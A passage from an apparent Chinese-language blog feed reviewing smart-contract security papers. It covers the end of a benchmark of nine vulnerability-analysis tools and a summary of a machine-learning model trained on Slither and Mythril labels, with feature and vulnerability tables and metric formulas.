/></p><p>在表中,我们可以观察到三组不同的执行时间:执行需要几秒钟的工具,花费几分钟的工具和花费24分钟的Manticore。</p><ul><li>Oyente,Osiris,Slither,Smartcheck和Solhint是速度更快的工具,平均需要5到30秒才能分析智能合约。</li><li>HoneyBadger,Maian,Mythril和Securify的执行速度较慢,执行时间介于1m24到6m37之间。</li><li>最后,Manticore需要24分28秒。</li></ul><p>工具之间执行时间的差异取决于每个工具使用的技术。诸如Smartcheck和Slither之类的纯静态分析工具之所以快速,是因为它们无需编译或执行合同即可识别漏洞和不良做法(bad practices)。</p><p>Securify,Maian,Mythril和Manticore分析合同的EVM字节码。这意味着这些工具需要在进行分析之前编译合同,附加的编译步骤会减慢分析速度。<br />Manticore是所有工具中最慢的,因为该工具一次仅分析一个内部合同(Solidity源文件可以包含任意数量的合同定义)。</p><p>回答RQ3:这些工具需要多长时间来分析智能合约?<br />这些工具平均需要4分31秒来分析一份合同。但是,各工具的执行时间差异很大。<br />Slither是最快的工具,平均只需5秒钟即可分析合同。<br />Manticore是最慢的工具。分析合同平均需要24分28秒。</p><p>我们还注意到执行速度并不是影响工具性能的唯一因素;Securify比Maian花费了更多的时间来执行,但是Securify可以很容易地并行化,因此分析47,518个合同的速度比Maian快得多。最后,并没有观察到准确性和执行时间之间的相关性。</p><h2 id="五-summary-review"><a class="markdownIt-Anchor" href="#五-summary-review"></a> 五、SUMMARY & REVIEW</h2><p>本文作者制作了两个很有用的数据集,并将它们公开出来。参考DASP10智能合约漏洞类别作为对漏洞进行分类,发现当前的技术水平无法检测DASP10的两类漏洞:随机性差和短地址。。最后,使用创建的可拓展的执行框架SmartBugs在两个数据集上执行9个自动化分析工具。</p><p>结果表明,所有工具仅检测到注释数据集中的漏洞的42%,其中<a href="https://github.com/ConsenSys/mythril">Mythtil</a>具有更高的准确性(27%),此外本文还提到如果要兼顾准确性和执行成本,那么Mythril和Slither的组合可以检测到总共42/115(37%)的漏洞,这是最佳折衷方案;</p><p>而对另一个数据集进行漏洞检测时,有97%的合同至少被一种工具检测到漏洞,这表明每种工具都可能存在着大量误报,而其中Oyente更是当仁不让地检测到73%的合同中的漏洞。</p><p>此外,本文提出现有的工具的检测能力还有待提高,而其中Mythril是具有较高准确性的工具,并且能够检测到31/115(27%)的漏洞。当对更大的数据集进行漏洞检测时,有97%的合同被确定为易受攻击,这表明存在着大量误报。</p><p>感觉文本作者不足在于,为了使得实验更加方便的进行或许排除了一些更加有用的方法,可能考虑地不是那么全面。</p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
</tags>
</entry>
<entry>
<title>Machine Learning Model for Smart Contracts Security Analysis</title>
<link href="/2020/0978ff8e8d.html"/>
<url>/2020/0978ff8e8d.html</url>
<content type="html"><![CDATA[<h1 id="machine-learning-model-for-smart-contracts-security-analysis"><a class="markdownIt-Anchor" href="#machine-learning-model-for-smart-contracts-security-analysis"></a> Machine Learning Model for Smart Contracts Security Analysis</h1><p>论文标题:(2019-PST) <a href="https://ieeexplore.ieee.org/document/8949045">Machine Learning Model for Smart Contracts Security Analysis</a>——智能合约安全性分析的机器学习模型</p><p>论文引用:Momeni P, Wang Y, Samavi R. Machine Learning Model for Smart Contracts Security Analysis[C]//2019 17th International Conference on Privacy, Security and Trust (PST). IEEE, 2019: 1-6.</p><p>代码开源:<strong>本文代码并未开源</strong>。</p><p>本文发表于<a href="https://pstnet.ca/pst2019/">2019 17th International Conference on Privacy, Security and Trust (PST)</a>,三名作者都是来自加拿大的<a href="https://www.mcmaster.ca/">麦克马斯特大学</a>。</p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>本文介绍了一种机器学习的预测模型(machine learning predictive model )用以检测智能合约中的漏洞。作者采用了<a href="https://github.com/crytic/slither">Slither</a>和<a href="https://github.com/ConsenSys/mythril">Mythril</a>两个静态代码分析器【都已在GitHub上开源】(static code analyzers)来标记1000多个已在以太坊平台上验证并使用的智能合约,然后提取合约中的46种漏洞,对每一种漏洞都采用五重交叉验证(five-fold cross validation)进行建模。使用模型预测了16种类型的漏洞,平均准确度为95%,F1score为79%。</p><h2 id="二-智能合约静态代码分析"><a class="markdownIt-Anchor" href="#二-智能合约静态代码分析"></a> 二、智能合约静态代码分析</h2><p>静态代码分析器无需执行程序即可在计算机软件中搜索bug。静态代码分析有两种:分析源代码和分析目标代码。</p><h3 id="智能合约安全挑战"><a class="markdownIt-Anchor" href="#智能合约安全挑战"></a> 智能合约安全挑战</h3><ol><li>将智能合约上传到区块链后,任何其他合约或用户都可以调用该合约。这会生成无法在合同的未经测试的执行路径上执行的输入的不可预测的组合。</li><li>因为合约的二进制代码及其状态存储在区块链的不变账本中,智能合约无法修补,如果安全问题严重,则平台管理员可以用分叉来更改或删除分类帐,但是分叉代价极大。</li></ol><p>Solidity源代码中提取了抽象语法树(AST)作为程序的中间表示形式,因为AST提供了有关程序代码的信息,这些信息可用作查找漏洞的特征。</p><h3 id="抽象语法树ast"><a class="markdownIt-Anchor" href="#抽象语法树ast"></a> 抽象语法树(AST)</h3><p>AST在编译器中广泛使用的代表程序代码结构的数据结构。 AST中的每个节点代表一种编程语言的语法元素,树显示了这些元素的使用顺序。静态代码分析器支持AST,因为AST提供了有关源代码特征的丰富详细信息,例如函数定义或其他合同中的合同的数量。使用<code>Solc</code>(Solidity命令行编译器)从Solidity代码生成AST。</p><h3 id="控制流程图cfg"><a class="markdownIt-Anchor" href="#控制流程图cfg"></a> 控制流程图(CFG)</h3><p>CFG表示程序可以表示采取的所有执行路径。可以从AST提取CFG,在AST编译器使用CFG的目的是从程序的语句生成汇编代码。 CFG还常用于静态代码分析工具中,以在程序中定位无法访问的代码。</p><h3 id="静态代码分析"><a class="markdownIt-Anchor" href="#静态代码分析"></a> 静态代码分析</h3><p>为了运行静态分析器,需要首先通过词法分析器(lexer tools)工具解析源代码。然后,从解析的代码生成抽象语法树(AST),并从AST中提取控制流图(CFG)。通过执行这些步骤,静态代码分析器能够检查通过CFG的所有执行路径是否存在潜在的错误。静态代码分析器根据不同类型的漏洞执行不同的分析,例如符号执行和污点分析。</p><h2 id="三-基于机器学习的智能合约代码分析"><a class="markdownIt-Anchor" href="#三-基于机器学习的智能合约代码分析"></a> 三、基于机器学习的智能合约代码分析</h2><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210412113202.png" alt="基于机器学习的代码分析器概述" /></p><center>图1 基于机器学习的代码分析器概述</center><h3 id="数据收集与预处理"><a class="markdownIt-Anchor" href="#数据收集与预处理"></a> 数据收集与预处理</h3><p>数据集是从Etherscan 收集的,我们总共收集了以Solidity编写的13,745个唯一的活动智能合约源代码。由于Solidity编译器的版本4不向后兼容,因此专注于数据集中版本为0.4.18的智能合约,合格智能合约的数量减少到1,013。将数据集分为80%训练和20%测试集。</p><h3 id="建立ast和特征提取"><a class="markdownIt-Anchor" href="#建立ast和特征提取"></a> 建立AST和特征提取</h3><p>从数据集中,我们从AST中提取了17个特征,如表I所示。这些特征是常见的Solidity代码结构,在我们的数据集中出现了1000多次。这些功能代表了代码的复杂性,可以分为两类:</p><ol><li>代表执行路径(例如,函数调用)并直接添加到控制流程图的特征;</li><li>代表启发式猜测(heuristic guesses)的其他功能代码的复杂性,例如代码行(LOC)。</li></ol><center>表1 AST中提取的特征</center><table><thead><tr><th>Feature Name</th><th></th></tr></thead><tbody><tr><td>1 Lines of code (LOC)</td><td>10 Bytes</td></tr><tr><td>2 Contract definitions</td><td>11 Elementary type addresses</td></tr><tr><td>3 Function definitions</td><td>12 Modifier definitions</td></tr><tr><td>5 Binary operations</td><td>13 Placeholder statements</td></tr><tr><td>6 Function calls</td><td>14 Modifier invocation</td></tr><tr><td>7 Blocks</td><td>15 Approve function definitions</td></tr><tr><td>8 Expression statements</td><td>16 Constant values</td></tr><tr><td>9 Event definitions</td><td>17 Hexadecimal addresses</td></tr></tbody></table><h3 id="静态代码分析-2"><a class="markdownIt-Anchor" href="#静态代码分析-2"></a> 静态代码分析</h3><p>使用了两个智能合约静态代码分析器Mythril 和Slither。这两个工具在区块链社区中具有很高的影响力和声誉。Mythril Classic:此分析器使用多种技术(例如符号执行和污点分析)来检测Solidity代码中的安全漏洞。Mythril可以检测19种类型的漏洞。如表II所示,在这19个漏洞中,我们的数据集中发现了11个漏洞。</p><p>Slither:此分析器使用污点分析来跟踪Solidity代码分析中的值,并且可以找到31种类型的漏洞,它们具有四个不同的影响级别(高,中,低和信息性)。在我们的数据集中,这31种类型的漏洞中有30种存在。在静态代码分析中使用两个不同的分析器时,我们遇到的挑战之一是两个分析器之间的句法和语义上的差异。</p><center>表2 静态代码分析器检测到的安全漏洞</center><table><thead><tr><th>Code</th><th>Security Problem</th><th>Mythril</th><th>Slither</th></tr></thead><tbody><tr><td>1</td><td>Integer underflow</td><td>x</td><td></td></tr><tr><td>2</td><td>Re-entrancy vulnerability with balance change</td><td></td><td>x</td></tr><tr><td>3</td><td>Unprotected usage of <em>selfdestruct</em></td><td>x</td><td>x</td></tr><tr><td>4</td><td>Contracts that lock ether</td><td></td><td>x</td></tr><tr><td>5</td><td>Incorrect ERC20 interface</td><td></td><td>x</td></tr><tr><td>6</td><td>Multiple calls in a single transaction</td><td>x</td><td></td></tr><tr><td>7</td><td>Re-entrancy vulnerability without balance change</td><td></td><td>x</td></tr><tr><td>8</td><td>Unprotected usage of <em>tx.origin</em></td><td>x</td><td>x</td></tr><tr><td>9</td><td>Unused return</td><td></td><td>x</td></tr><tr><td>10</td><td>Usage of low level calls</td><td>x</td><td>x</td></tr><tr><td>11</td><td>Exception state</td><td>x</td><td></td></tr><tr><td>12</td><td>Local variable shadowing</td><td></td><td>x</td></tr><tr><td>13</td><td>Assembly usage</td><td></td><td>x</td></tr><tr><td>14</td><td>State variables that could be declared as constant</td><td></td><td>x</td></tr><tr><td>15</td><td>Unindexed ERC20 event parameters</td><td></td><td>x</td></tr><tr><td>16</td><td>Usage of complex pragma statement</td><td></td><td>x</td></tr><tr><td>17</td><td>Built-in symbol shadowing</td><td></td><td>x</td></tr><tr><td>18</td><td>Calls inside a loop</td><td></td><td>x</td></tr><tr><td>19</td><td>Conformance to solidity naming conventions</td><td></td><td>x</td></tr><tr><td>20</td><td>Constant functions changing the state</td><td></td><td>x</td></tr><tr><td>21</td><td>Dangerous strict equalities</td><td></td><td>x</td></tr><tr><td>22</td><td>Delegate a proxy call</td><td>x</td><td>x</td></tr><tr><td>23</td><td>External call to a fixed address</td><td>x</td><td></td></tr><tr><td>24</td><td>Functions that send ether to arbitrary destinations</td><td></td><td>x</td></tr><tr><td>25</td><td>Integer overflow</td><td>x</td><td></td></tr><tr><td>26</td><td>Re-entrancy-vulnerability in general</td><td></td><td>x</td></tr><tr><td>27</td><td>State variable shadowing</td><td></td><td>x</td></tr><tr><td>28</td><td>State variable shadowing from abstract contracts</td><td></td><td>x</td></tr><tr><td>29</td><td>Uninitialized local variables</td><td></td><td>x</td></tr><tr><td>30</td><td>Uninitialized state variables</td><td></td><td>x</td></tr><tr><td>31</td><td>Unused state variables</td><td></td><td>x</td></tr><tr><td>32</td><td>Uninitialized storage variables</td><td></td><td>x</td></tr><tr><td>33</td><td>Unprotected ether withdrawal</td><td>x</td><td></td></tr><tr><td>34</td><td>Usage of deprecated standards</td><td></td><td>x</td></tr><tr><td>35</td><td>Usage of different solidity versions</td><td></td><td>x</td></tr></tbody></table><h3 id="标记labeling"><a class="markdownIt-Anchor" href="#标记labeling"></a> 标记Labeling</h3><p>在此步骤中,使用先前静态代码分析器提取的36种漏洞被用来标记智能合约。如果静态代码分析器检测到漏洞,则我们将该漏洞标记为存在,否则标记为不存在。为了捕获差异,创建了五个新的安全漏洞,作为两个分析器检测到的安全漏洞的组合值。当任一分析工具报告存在该漏洞时,我们将组合值标记为存在;否则,我们将其标记为不存在。</p><h3 id="分类classification"><a class="markdownIt-Anchor" href="#分类classification"></a> 分类Classification</h3><p>选择了四个常用的监督二元分类器:支持向量机(Support Vector Machine,SVM),神经网络(Neural Network,NN),随机森林(Random Forest,RF)和决策树(Decision Tree,DT)来训练模型。由于安全漏洞彼此独立,因此分别为每个漏洞训练了二进制分类器,总共训练了184(4 * 46)个二元分类器。</p><h2 id="四-结果和讨论"><a class="markdownIt-Anchor" href="#四-结果和讨论"></a> 四、结果和讨论</h2><h3 id="评估指标"><a class="markdownIt-Anchor" href="#评估指标"></a> 评估指标</h3><ol><li><p>首先定义以下几个概念</p><ol><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>T</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">TP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span></span></span></span>(True Positive)真阳性:预测为正,实际也为正</li><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>F</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">FP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span></span></span></span>(False Positive)假阳性:预测为正,实际为负</li><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>F</mi><mi>N</mi></mrow><annotation encoding="application/x-tex">FN</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mord mathdefault" style="margin-right:0.10903em;">N</span></span></span></span>(False Negative)假阴性:预测与负、实际为正</li><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>T</mi><mi>N</mi></mrow><annotation encoding="application/x-tex">TN</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span><span class="mord mathdefault" style="margin-right:0.10903em;">N</span></span></span></span>(True Negative)真阴性:预测为负、实际也为负</li></ol></li><li><p>通过第一步的统计值计算每个类别下的precision和recall</p><ol><li>精准度 / 查准率(<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>c</mi><mi>i</mi><mi>s</mi><mi>i</mi><mi>o</mi><msub><mi>n</mi><mi>k</mi></msub><mo>=</mo><mfrac><mrow><mi>T</mi><mi>P</mi></mrow><mrow><mi>T</mi><mi>P</mi><mo>+</mo><mi>F</mi><mi>P</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">precision_k=\frac{TP}{TP+FP}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.85396em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">p</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mord mathdefault">i</span><span class="mord mathdefault">s</span><span class="mord mathdefault">i</span><span class="mord mathdefault">o</span><span class="mord"><span class="mord mathdefault">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.275662em;vertical-align:-0.403331em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.872331em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">F</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.403331em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>):指被分类器判定正例中的正样本的比重</li><li>召回率 / 查全率 (<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>r</mi><mi>e</mi><mi>c</mi><mi>a</mi><mi>l</mi><msub><mi>l</mi><mi>k</mi></msub><mo>=</mo><mfrac><mrow><mi>T</mi><mi>P</mi></mrow><mrow><mi>T</mi><mi>P</mi><mo>+</mo><mi>F</mi><mi>N</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">recall_k=\frac{TP}{TP+FN}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mord mathdefault">a</span><span class="mord mathdefault" style="margin-right:0.01968em;">l</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.01968em;">l</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:-0.01968em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.275662em;vertical-align:-0.403331em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.872331em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">F</span><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.403331em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>):指的是被预测为正例的占总的正例的比重</li><li>准确率(<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>a</mi><mi>c</mi><mi>c</mi><mi>u</mi><mi>r</mi><mi>a</mi><mi>c</mi><mi>y</mi><mo>=</mo><mfrac><mrow><mi>T</mi><mi>P</mi><mo>+</mo><mi>T</mi><mi>N</mi></mrow><mrow><mi>T</mi><mi>P</mi><mo>+</mo><mi>F</mi><mi>N</mi><mo>+</mo><mi>T</mi><mi>N</mi><mo>+</mo><mi>F</mi><mi>P</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">accuracy=\frac{TP+TN}{TP+FN+TN+FP}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">a</span><span class="mord mathdefault">c</span><span class="mord mathdefault">c</span><span class="mord mathdefault">u</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">a</span><span class="mord mathdefault">c</span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.275662em;vertical-align:-0.403331em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.872331em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">F</span><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">F</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.403331em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>):代表分类器对整个样本判断正确的比重</li></ol></li><li><p>计算结果计算每个类别下的<code>F1-score</code>,计算方式如下</p><ol><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>F</mi><msub><mn>1</mn><mi>k</mi></msub><mo>=</mo><mn>2</mn><mo>×</mo><mfrac><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>c</mi><mi>i</mi><mi>s</mi><mi>i</mi><mi>o</mi><msub><mi>n</mi><mi>k</mi></msub><mo separator="true">⋅</mo><mi>r</mi><mi>e</mi><mi>c</mi><mi>a</mi><mi>l</mi><msub><mi>l</mi><mi>k</mi></msub></mrow><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>c</mi><mi>i</mi><mi>s</mi><mi>i</mi><mi>o</mi><msub><mi>n</mi><mi>k</mi></msub><mo>+</mo><mi>r</mi><mi>e</mi><mi>c</mi><mi>a</mi><mi>l</mi><msub><mi>l</mi><mi>k</mi></msub></mrow></mfrac></mrow><annotation encoding="application/x-tex">F1_{k}=2\times \frac{precision_k·recall_k}{precision_k+recall_k}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.4133239999999998em;vertical-align:-0.481108em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9322159999999999em;"><span style="top:-2.6550000000000002em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">p</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">s</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">o</span><span class="mord mtight"><span class="mord mathdefault mtight">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3487714285714287em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15122857142857138em;"><span></span></span></span></span></span></span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3487714285714287em;margin-left:-0.01968em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15122857142857138em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.446108em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">p</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">s</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">o</span><span class="mord mtight"><span class="mord mathdefault mtight">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3487714285714287em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15122857142857138em;"><span></span></span></span></span></span></span><span class="mpunct mtight">⋅</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3487714285714287em;margin-left:-0.01968em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15122857142857138em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.481108em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></li></ol></li><li><p>通过对第三步求得的各个类别下的<code>F1-score</code>求均值,得到最后的评测结果,计算方式如下</p><ol><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>s</mi><mi>c</mi><mi>o</mi><mi>r</mi><mi>e</mi><mo>=</mo><mfrac><mn>1</mn><mi>n</mi></mfrac><mo>∑</mo><mi>F</mi><msub><mn>1</mn><mi>k</mi></msub></mrow><annotation encoding="application/x-tex">score=\frac{1}{n}\sum F1_k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault">s</span><span class="mord mathdefault">c</span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">e</span><span 